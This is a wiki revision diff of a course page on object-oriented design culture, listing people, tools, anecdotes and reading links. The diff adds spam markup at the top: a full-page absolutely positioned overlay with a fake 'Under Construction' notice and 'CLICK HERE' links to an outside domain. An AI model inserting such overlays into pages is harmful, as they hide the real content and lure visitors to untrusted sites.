OO culture
From CSSEMediaWiki
(Difference between revisions)
Line 1: | Line 1: | ||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://axufizyfe.co.cc Under Construction! Please Visit Reserve Page. Page Will Be Available Shortly]= | ||
+ | ---- | ||
+ | =[http://axufizyfe.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> | ||
OO design is not simply about a set of ideas. In order to understand the subject area one must first have an understanding of the minds behind it and the historical circumstances in which it came to exist in its current form. | OO design is not simply about a set of ideas. In order to understand the subject area one must first have an understanding of the minds behind it and the historical circumstances in which it came to exist in its current form. | ||
Line 9: | Line 17: | ||
* [[Gang of Four]] | * [[Gang of Four]] | ||
− | == More | + | == More "Culture" == |
* [[JUnit]] | * [[JUnit]] | ||
Line 19: | Line 27: | ||
== Anecdotes from the Industry == | == Anecdotes from the Industry == | ||
− | * [http://www.folklore.org/StoryView.py?project=Macintosh&story=Negative_2000_Lines_Of_Code.txt&sortOrder=Sort%20by%20Date&detail=medium&search=lines%20of%20code -2000 Lines Of Code] | + | * [http://www.folklore.org/StoryView.py?project=Macintosh&story=Negative_2000_Lines_Of_Code.txt&sortOrder=Sort%20by%20Date&detail=medium&search=lines%20of%20code -2000 Lines Of Code] |
== Things to Think About == | == Things to Think About == |
Revision as of 07:05, 24 November 2010
OO design is not simply about a set of ideas. In order to understand the subject area one must first have an understanding of the minds behind it and the historical circumstances in which it came to exist in its current form.
People and History
More "Culture"
- JUnit
- 427 design standard
- OO tools is a list of a software engineer's arsenal.
- What is Bad Design?
- Professionalism is a discussion on professionalism in software engineering.
Anecdotes from the Industry
Things to Think About
- The beginning of wisdom for a programmer is to recognize the difference between getting his program to work and getting it right. -- M. A. Jackson, 1975
- Software Engineering: An Idea Whose Time Has Come and Gone? (PDF)
- Bad Engineering Properties of OO Languages
- The DCI Architecture: A New Vision of Object-Oriented Programming
- Encapsulation: Python Properties vs Java Access Modifiers - Has Python got it wrong?
- Can patterns be patented? should they be? US Patent 6163813
- Quotes